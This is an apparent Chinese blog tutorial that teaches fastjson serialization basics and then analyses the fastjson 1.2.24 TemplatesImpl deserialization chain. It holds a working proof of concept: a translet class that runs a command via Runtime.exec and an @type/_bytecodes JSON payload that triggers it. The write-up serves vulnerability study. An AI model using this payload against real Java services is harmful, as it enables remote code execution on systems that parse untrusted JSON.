从0开始fastjson漏洞分析
关于fastjson漏洞利用参考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html
fastjson这个漏洞出来了很久,一直没时间分析,耽搁了,今天捡起来
因为我们要分析fastjson相关漏洞,所以我们先去学习fastjson的基础使用,如果我们连fastjson都不知道,更何谈漏洞分析呢?
首先先搭建相关漏洞环境:
使用maven,非常方便我们切换相关漏洞版本:
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion> <groupId>groupId</groupId>
<artifactId>Java_Test</artifactId>
<version>1.0-SNAPSHOT</version> <dependencies>
<!-- https://mvnrepository.com/artifact/com.google.common/google-collect -->
<!-- https://mvnrepository.com/artifact/com.google.guava/guava -->
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<!--fastjson1.2.24环境安装-->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency> <dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>RELEASE</version>
<scope>compile</scope>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties> </project>
然后点击刷新按钮,会自动帮我们安装相关依赖
至此,我们就拥有了fastjson环境
什么是fastjson?
fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
简单点说就是帮我们处理json数据的
搓个demo:
Student.java:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(){ }
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
Teacher.java:
package com.test.fastjson; import java.util.List; public class Teacher {
private int id;
private String name;
private List<Student> studentList;
public Teacher(){ } public Teacher(int id, String name, List<Student> studentList) {
this.id = id;
this.name = name;
this.studentList = studentList;
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public List<Student> getStudentList() {
return studentList;
} public void setStudentList(List<Student> studentList) {
this.studentList = studentList;
} @Override
public String toString() {
return "Teacher{" +
"id=" + id +
", name='" + name + '\'' +
", studentList=" + studentList +
'}';
}
}
编写测试类:
@Test
public void fastjson_test1(){
Student student = new Student(1,"jack",24);
System.out.println(JSON.toJSON(student));
}
把对象转换成json格式数据
支持复杂的对象转换json处理:
@Test
public void fastjson_test2(){
List<Student> studentList = new ArrayList<Student>();
for(int i=0;i<4;i++){
Student student = new Student(i, "jack" + i, 23 + i);
studentList.add(student);
}
List<Teacher> teacherList = new ArrayList<Teacher>();
Teacher teacher = new Teacher();
teacher.setStudentList(studentList);
System.out.println(JSON.toJSON(teacher));
}
除了使用toJSON方法转换外,还可以使用toJSONString方法:
@Test
public void fastjson_test3(){
Student student = new Student(1,"jack",24);
System.out.println(JSON.toJSONString(student));
}
查看返回类型,String类型
说明是把student对象数据转换成字符串json数据
JSON.toJSONString的扩展:
需求如下:只需要Student对象的id和age字段,不要name字段,怎么做?
@Test
public void fastjson_test4(){
Student student = new Student(1,"jack",24);
//过滤只要id和age字段
SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age");
String value = JSON.toJSONString(student, filter);
System.out.println(value);
}
设置保留id和age字段
通过上面的学习知道了如果想把对象转换成json数据可以使用JSON.toJSON,或者使用JSON.toJSONString
我们继续学习,下一步我们尝试把json数据转换成对象,还原我们的对象:
//反序列化,str类型数据转换成class类型对象
@Test
public void fastjson_test5(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student);
System.out.println("转换成json数据");
System.out.println(value);
System.out.println("str类型json数据转换成class类型对象");
System.out.println(JSON.parseObject(value, Student.class));
}
通过上面代码,我们可以发现一个重点:
fastjson会处理字符串类型的json数据,上面的value变量是字符串类型,这对我们后续漏洞分析很有帮助
继续扩展JSON.toJSONString:
@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class);
System.out.println(student1);
}
把结果输出出来:
{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}
发现多了个@type字段,说明了我们Student对象转换成json数据的数据类型,告诉我们是com.test.fastjson.Student类型的数据被转换成json数据了.
我们继续学习:
前面说了fastjson会处理我们的字符串json,直接写一段字符串json数据:
@Test
public void fastjson_test7(){
String jsonStr="{\"age\":24,\"id\":1,\"name\":\"jack\"}";
System.out.println(jsonStr);
System.out.println(getType(jsonStr));
System.out.println(JSON.parseObject(jsonStr));
}
我们这样写,会发现最后字符串json没有转换成对象
为什么?
因为fastjson找不到我们要转换的json数据在哪个类,这里我们要声明类型:
再次修改:
@Test
public void fastjson_test7(){
String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
System.out.println(getType(jsonStr));
System.out.println(JSON.parseObject(jsonStr));
}
有意思的地方来了,声明类型后的字符串json数据,fastjson并没有把它转换成对象:
深入跟踪下:
在JSON.parseObject处打个断点:
跟进去:
继续进函数:
value=Student{id=1, name='jack', age=24}
继续下一步:
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
判断引用obj指向的对象是否是JSONObject,如果是就直接返回,否则就返回toJSON处理:
继续下一步执行:
熟悉吧toJSON,把我们的student对象再次转换成了json数据...:
那么最后的返回就是:
解决办法:使用parse替换parseObject:
@Test
public void fastjson_test7(){
String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
System.out.println(getType(jsonStr));
System.out.println(JSON.parse(jsonStr));
}
这一次,我们成功把字符串json数据转换成了对象:
可能作为开发,到这一步已经学完了基础的常用用法,但是对于安全来说,这里可能是否可能会存在安全隐患呢?
猜测:fastjson会根据我们申明的类型,fastjson在反序列化我们的字符串json数据的时候,会把它转换成对象,那么如果我们的type字段上输入恶意类,是否会在java反序列化的时候导致安全问题呢?
这就是fastjson安全漏洞的最初产生,恶意修改type类,导致安全问题
深入研究fastjson的对象转json,json转对象的调用机制:
修改我们的Student.java:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
消除我们的构造方法:
编写测试方法:
@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class);
System.out.println(student1);
}
直接报错了,发现我们json转str失败,我们反序列化失败,报错提示默认的构造方法不存在,说明前置条件1:fastjson反序列化必须要构造方法
再次修改student.java:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
再次运行上面的测试方法:
继续探索:
再次修改student.java:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
System.out.println("setId被调用");
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
在set方法中新增了一条输出语句
再次运行上面的测试方法:
尝试删除set方法:
修改student.java:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} // public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// } public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
代码中注释了setId方法
再次运行:
结论:反序列化对象的时候,如果对象中的属性定义是private,那么必须设置set方法,protected修饰符也是一样,必须设置set方法
只有set方法,没有定义get方法可以被反序列化吗?
注释掉get方法,保留set方法:
结论:不可以,最起码在JSON.parseObject下是不可以的
总结:使用JSON.parseObject反序列化的时候,属性字段如果是private和protected修饰的时候,必须有set和get方法,否则可能导致某些字段反序列化失败
再次修改student.java文件:
package com.test.fastjson; public class Student {
public int id;
private String name;
private int age; public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} // public int getId() {
// return id;
// } // public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// } public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
修改private为public,注释掉set和get方法
再次运行测试方法:
结论:public字段下,set/get可有可无
还是回到priavte字段问题,再次修改student.class:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} // public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// } public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
注释了set方法,保留get方法:
前面说了,set和get方法缺一不可,所以我们JSON.ParseObject,一定是反序列化失败的
是否有解决方案?
修改测试方法为:
@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField);
System.out.println(student1);
}
再次运行:
Feature.SupportNonPublicField可以让我们忽略设置set方法,只要设置get方法,就能达成反序列化
最终结论总结:fastjson反序列化依赖于set和get方法,而且必须要有构造方法,最优先调用的是构造方法,fastjson设置Feature.SupportNonPublicField,可以忽略set方法,JSON.Parse反序列化和JSON.ParseObject一样
好了,基础部分全部讲完了,包括他反序列化和字段以及构造方法的调用问题
下面介绍fastjson第一个漏洞:
利用链:Fastjson 1.2.24 远程代码执⾏&&TemplatesImpl,依赖Feature.SupportNonPublicField 利用链比较鸡肋
但是分析这条利用链,可以让你很清楚知道fastjson内部是怎么进行序列化的,反序列化的,通过前面写的demo,我们已经对fastjson内部处理对象和json转换对象有了较为详细的认知
poc构造:我是mac,windows直接calc即可:
Poc1.java:
package com.test.fastjson; import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Poc1 extends AbstractTranslet {
public Poc1() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main(String[] args) throws IOException {
Poc1 poc1 = new Poc1();
}
}
编译运行一次生成字节码,然后全局base64编码:
反序列化攻击:
AttackPoc1.java:
package com.test.fastjson; import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature; public class AttackPoc1 {
public static void main(String[] args) throws ClassNotFoundException {
String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" +
"[\"刚刚生成的base64编码的字节码数据\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" +
"{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
JSON.parseObject(payload,Feature.SupportNonPublicField);
}
}
运行:
成功命令执行弹窗计算器
原理分析,先抛出疑惑点:
去除Feature.SupportNonPublicField还可以命令执行吗?
运行没有命令执行,前面我们学习了Feature.SupportNonPublicField是当我们设置get方法,而没有设置set方法的补救,即使没有set方法也会帮我们反序列化成功
跟进TemplatesImpl类:可以debug进去,这里我选择反射进去:
Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
以这个字段为例:
搜索setOutputProperties:
所以我们他一定要依赖于Feature.SupportNonPublicField
打个断点,深入跟踪下:
解决我们的几个疑惑
(1)为什么_bytecodes定义的数据得是base64编码
(2)fastjson反序列化是怎么走的?
下个断点:
先搞清楚第一个问题bytecodes字节码为什么是base64编码:
判断开头输入是否是{:
继续往下:
设置token为12,很重要,后面的判断都要基于token:
一直下一步执行:
通过loadClass加载我们的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类:
集合存储恶意类:
然后不断判断我们的clazz是什么类型:
不符合条件就继续往下找:
通过反射获取所有的方法
判断方法的定义规则:
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
Class<?>[] types = method.getParameterTypes();
方法名字要符合这个条件:
获取字段:
debug真的脑子疼:
重点来了:
反序列化字段:
继续往下跟:
继续往下:
最后出函数调用parseObject:
最后执行命令:
2.bytescodes base编码原由:
反序列化的时候调用:
byte[] bytes = lexer.bytesValue();
lexer.nextToken(16);
会调用base64解码:
静态调试下:
跟进方法:
方法在接口类中,找接口实现类:
搜索到一个:
进去:
发现是个抽象类:
java基础核心概念:
如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.
寻找他的子类:
查看他的子类:
他的父类是object:
选择他的子类进去看看:
搜索byteValue,查看其函数实现:
至此第一条鸡肋的利用链分析完毕,明天我分析下不鸡肋的利用链,利用jndi注入直接rce
从0开始fastjson漏洞分析的更多相关文章
- 从0开始fastjson漏洞分析2
从0开始fastjson漏洞分析https://www.cnblogs.com/piaomiaohongchen/p/14777856.html 有了前文铺垫,可以说对fastjson内部机制和fas ...
- Beescms_v4.0 sql注入漏洞分析
Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...
- PHPCMS V9.6.0 SQL注入漏洞分析
0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...
- Apache Roller 5.0.3 XXE漏洞分析
下载5.0.2的版本来分析 5.0.2的war包地址 http://archive.apache.org/dist/roller/roller-5/v5.0.2/bin/roller-weblogge ...
- ECShop 2.x 3.0代码执行漏洞分析
0×00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0×01 漏洞原理 ECShop 没有对 $GLOBAL[‘_SE ...
- 最新phpcms v9.6.0 sql注入漏洞分析
昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- linux漏洞分析入门笔记-bypass_PIE
ubuntu 16.04 IDA 7.0 docker 0x00:漏洞分析 1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack.heap. ...
- Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析
Apache Log4j 漏洞分析 仅用于研究漏洞原理,禁止用于非法用途,后果自负!!! CVE-2019-17571 漏洞描述 Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开 ...
随机推荐
- 基于autofac的属性注入
基于autofac的属性注入 什么是属性注入 在了解属性注入之前,要先了解一下DI(Dependency Injection),即依赖注入.在ASP.NET Core里自带了一个IOC容器,而且程序支 ...
- 从设计模式角度看OkHttp源码
前言 说到源码,很多朋友都觉得复杂,难理解. 但是,如果是一个结构清晰且完全解耦的优质源码库呢? OkHttp就是这样一个存在,对于这个原生网络框架,想必大家也看过很多很多相关的源码解析了. 它的源码 ...
- 练习使用Unicorn、Capstone
Unicorn是一个轻量级的多平台,多体系结构的CPU仿真器框架.官网:http://www.unicorn-engine.org/ Capstone是一个轻量级的多平台,多体系结构的反汇编框架.官网 ...
- java例题 判断一个数能被几个9整除
有点懵,被几个9整除,我理解的是n=n/9能整除几次,代码如下: 1 /*45 [程序 45 被 9 整除] 2 题目:判断一个数能被几个 9 整除 3 */ 4 5 /*分析 6 * 1.用whil ...
- .NET 开源配置组件 AgileConfig 初体验
介绍 在微服务大行其道的今天,系统会被拆分成多个模块,作为单独的服务运行,同时为了集中化管理,我们还需要日志中心,配置中心等,很多开发人员可能更熟悉 ApolloConfig,这个组件功能也很完善,d ...
- 对于api接口的爬虫,通常的解决方法
对于api接口的爬虫,通常的解决方法: 依靠爬虫功能的IP库 SDK 源站用不同的状态码进行打标,用户登录账号,登录成功返回200,登录失败返回其他状态码.
- html+css写出响应式侧边导航栏
html部分:先写用div画好六个导航的卡片,再利用css添加响应效果 <div class='card-holder'> <div class='card-wrapper'> ...
- springboot基础项目搭建(十五篇)
springboot系列一.springboot产生背景及介绍 springboot系列二.springboot项目搭建 springboot系列三.springboot 单元测试.配置访问路径.多个 ...
- Linux 磁盘管理(df fu fdisk mkfs mount)
Linux 磁盘管理 Linux磁盘管理好坏直接关系到整个系统的性能问题. Linux磁盘管理常用三个命令为df.du和fdisk. df : 列出文件系统的整体磁盘使用量 du : 检查磁盘空间使用 ...
- BBR拥塞算法的简单解释
TCP BBR的ACM论文中,开篇就引入了图1,以此来说明BBR算法的切入点: 为何当前基于丢包探测的TCP拥塞控制算法还有优化空间? BBR算法的优化极限在哪儿? 图1 为了理解这张图花了我整整一个 ...